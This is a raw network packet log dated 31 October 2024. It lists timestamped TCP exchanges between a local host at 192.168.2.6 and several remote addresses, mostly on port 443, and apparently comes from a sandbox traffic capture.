Oct 31, 2024 09:07:12.168921947 CET	49729	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:12.168936014 CET	443	49729	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:12.180253029 CET	49730	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:12.180270910 CET	443	49730	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:12.180345058 CET	49730	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:12.180627108 CET	49730	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:12.180640936 CET	443	49730	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:12.199948072 CET	49731	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:12.199981928 CET	443	49731	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:12.200079918 CET	49731	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:12.200553894 CET	49731	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:12.200567961 CET	443	49731	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:12.245532990 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:12.245564938 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:12.245618105 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:12.245913029 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:12.245925903 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:12.705703974 CET	49735	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:12.705751896 CET	443	49735	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:12.705857038 CET	49735	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:12.706057072 CET	49735	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:12.706073046 CET	443	49735	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:12.848834038 CET	443	49727	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:12.852843046 CET	49727	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:12.852881908 CET	443	49727	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:12.853270054 CET	49727	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:12.853275061 CET	443	49727	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:12.870763063 CET	443	49726	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:12.871171951 CET	49726	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:12.871191025 CET	443	49726	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:12.871560097 CET	49726	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:12.871565104 CET	443	49726	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:12.897852898 CET	443	49729	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:12.898370028 CET	49729	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:12.898389101 CET	443	49729	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:12.898778915 CET	49729	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:12.898783922 CET	443	49729	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:12.916785955 CET	443	49722	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:12.917103052 CET	49722	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:12.917115927 CET	443	49722	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:12.918164968 CET	443	49722	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:12.918261051 CET	49722	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:12.919296026 CET	49722	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:12.919369936 CET	443	49722	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:12.919440031 CET	49722	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:12.919449091 CET	443	49722	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:12.923582077 CET	443	49730	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:12.924768925 CET	49730	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:12.924782038 CET	443	49730	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:12.925487041 CET	49730	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:12.925491095 CET	443	49730	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:12.936336994 CET	443	49728	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:12.937057018 CET	49728	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:12.937069893 CET	443	49728	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:12.937589884 CET	49728	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:12.937594891 CET	443	49728	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:12.968293905 CET	49722	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:12.977255106 CET	443	49727	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:12.977466106 CET	443	49727	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:12.977684975 CET	49727	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:12.977848053 CET	49727	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:12.977864981 CET	443	49727	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:12.977873087 CET	49727	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:12.977879047 CET	443	49727	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:12.981184006 CET	49736	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:12.981270075 CET	443	49736	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:12.981345892 CET	49736	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:12.981674910 CET	49736	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:12.981714010 CET	443	49736	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.003189087 CET	443	49726	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.003530025 CET	443	49726	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.003612995 CET	49726	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.003674984 CET	49726	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.003689051 CET	443	49726	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.005913019 CET	49737	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.005944967 CET	443	49737	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.006118059 CET	49737	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.006293058 CET	49737	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.006305933 CET	443	49737	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.026191950 CET	443	49729	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.026410103 CET	443	49729	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.026473045 CET	49729	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.026498079 CET	49729	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.026498079 CET	49729	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.026510954 CET	443	49729	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.026520014 CET	443	49729	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.028688908 CET	49738	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.028723001 CET	443	49738	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.028817892 CET	49738	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.028964996 CET	49738	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.028989077 CET	443	49738	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.050692081 CET	443	49731	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.050889969 CET	49731	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.050904989 CET	443	49731	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.052331924 CET	443	49731	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.052393913 CET	49731	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.052702904 CET	49731	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.052778006 CET	443	49731	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.052854061 CET	49731	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.054352999 CET	443	49730	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.054414034 CET	443	49730	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.054548025 CET	49730	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.054575920 CET	49730	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.054584026 CET	443	49730	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.054590940 CET	49730	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.054594994 CET	443	49730	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.056416035 CET	49739	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.056432962 CET	443	49739	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.056523085 CET	49739	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.056664944 CET	49739	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.056674004 CET	443	49739	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.070586920 CET	443	49728	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.070708036 CET	443	49728	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.070759058 CET	49728	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.070830107 CET	49728	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.070833921 CET	443	49728	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.070842981 CET	49728	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.070847034 CET	443	49728	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.072823048 CET	49740	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.072853088 CET	443	49740	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.072967052 CET	49740	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.073122025 CET	49740	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.073137999 CET	443	49740	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.093744040 CET	49731	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.093751907 CET	443	49731	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.101526976 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.101716042 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.101732016 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.102699041 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.102770090 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.103038073 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.103101015 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.103162050 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.140633106 CET	49731	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.143333912 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.156272888 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.156282902 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.192138910 CET	443	49722	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.192192078 CET	443	49722	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.192296982 CET	49722	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.192313910 CET	443	49722	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.192342997 CET	443	49722	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.192389965 CET	49722	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.192397118 CET	443	49722	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.193094969 CET	443	49722	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.193161011 CET	49722	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.193169117 CET	443	49722	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.203135967 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.205061913 CET	49731	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.205210924 CET	443	49731	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.205341101 CET	49731	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.237191916 CET	49722	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.237199068 CET	443	49722	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.237425089 CET	49722	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.239362955 CET	443	49722	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.239424944 CET	49722	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.271459103 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:13.271517992 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:13.395586014 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.395668030 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.395697117 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.395714998 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.395721912 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.395736933 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.395771980 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.396193027 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.396317959 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.396374941 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.396382093 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.396454096 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.404028893 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.405448914 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.405503035 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.405509949 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.453387022 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.514698982 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.514858007 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.515052080 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.515098095 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.515161037 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.515175104 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.519382000 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.520555973 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.520565033 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.527971029 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.528122902 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.528131008 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.536706924 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.536757946 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.536766052 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.545334101 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.545413017 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.545425892 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.552918911 CET	443	49735	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.553164959 CET	49735	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.553183079 CET	443	49735	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.554061890 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.554174900 CET	443	49735	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.554239035 CET	49735	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.554240942 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.554249048 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.554549932 CET	49735	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.554606915 CET	443	49735	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.554804087 CET	49735	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.561789036 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.561852932 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.561860085 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.595346928 CET	443	49735	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.609405041 CET	49735	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.609405994 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.609414101 CET	443	49735	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.609415054 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.633575916 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.633652925 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.633662939 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.634150028 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.634213924 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.634221077 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.638286114 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.638336897 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.638344049 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.646856070 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.646897078 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.646900892 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.646909952 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.646945953 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.655508041 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.656260014 CET	49735	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.664380074 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.664437056 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.664447069 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.673069000 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.673120022 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.673126936 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.680730104 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.680772066 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.680780888 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.713121891 CET	443	49736	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.714133024 CET	49736	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.714167118 CET	443	49736	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.714571953 CET	49736	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.714576960 CET	443	49736	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.730565071 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.730617046 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.730624914 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.752594948 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.752645969 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.752656937 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.752836943 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.752883911 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.752890110 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.752991915 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.753036976 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.753043890 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.756525993 CET	443	49738	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.756877899 CET	49738	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.756920099 CET	443	49738	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.757183075 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.757231951 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.757240057 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.757328987 CET	49738	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.757339954 CET	443	49738	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.766463995 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.766514063 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.766520977 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.774518967 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.774569035 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.774576902 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.779812098 CET	443	49737	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.780244112 CET	49737	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.780267954 CET	443	49737	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.780623913 CET	49737	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.780630112 CET	443	49737	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.783807993 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.783854961 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.783862114 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.786034107 CET	443	49739	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.786411047 CET	49739	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.786420107 CET	443	49739	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.786778927 CET	49739	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.786784887 CET	443	49739	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.792161942 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.792217016 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.792224884 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.799938917 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.799988985 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.799995899 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.820874929 CET	443	49740	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.822184086 CET	49740	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.822196007 CET	443	49740	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.822557926 CET	49740	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.822562933 CET	443	49740	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.839339972 CET	443	49735	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.841219902 CET	443	49736	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.841365099 CET	443	49736	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.841456890 CET	49736	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.841541052 CET	49736	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.841541052 CET	49736	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.841583014 CET	443	49736	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.841609955 CET	443	49736	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.843781948 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.844585896 CET	49741	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.844634056 CET	443	49741	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.844697952 CET	49741	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.844938040 CET	49741	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.844954967 CET	443	49741	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.849674940 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.871701956 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.871776104 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.871797085 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.871840000 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.872087002 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.872137070 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.872148037 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.872509003 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.872585058 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.872594118 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.872845888 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.876311064 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.882571936 CET	49742	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:07:13.882606983 CET	443	49742	40.115.3.253	192.168.2.6
Oct 31, 2024 09:07:13.882679939 CET	49742	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:07:13.883208036 CET	49742	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:07:13.883222103 CET	443	49742	40.115.3.253	192.168.2.6
Oct 31, 2024 09:07:13.885921955 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.885951042 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.885971069 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.885979891 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.886553049 CET	49732	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:13.886559963 CET	443	49732	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:13.887665987 CET	443	49738	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.887990952 CET	443	49738	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.888088942 CET	49738	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.888132095 CET	49738	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.888149977 CET	443	49738	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.888175964 CET	49738	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.888190031 CET	443	49738	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.890292883 CET	49743	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:13.890311956 CET	443	49743	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:13.890366077 CET	49743	443	192.168.2.6	13.107.246.45
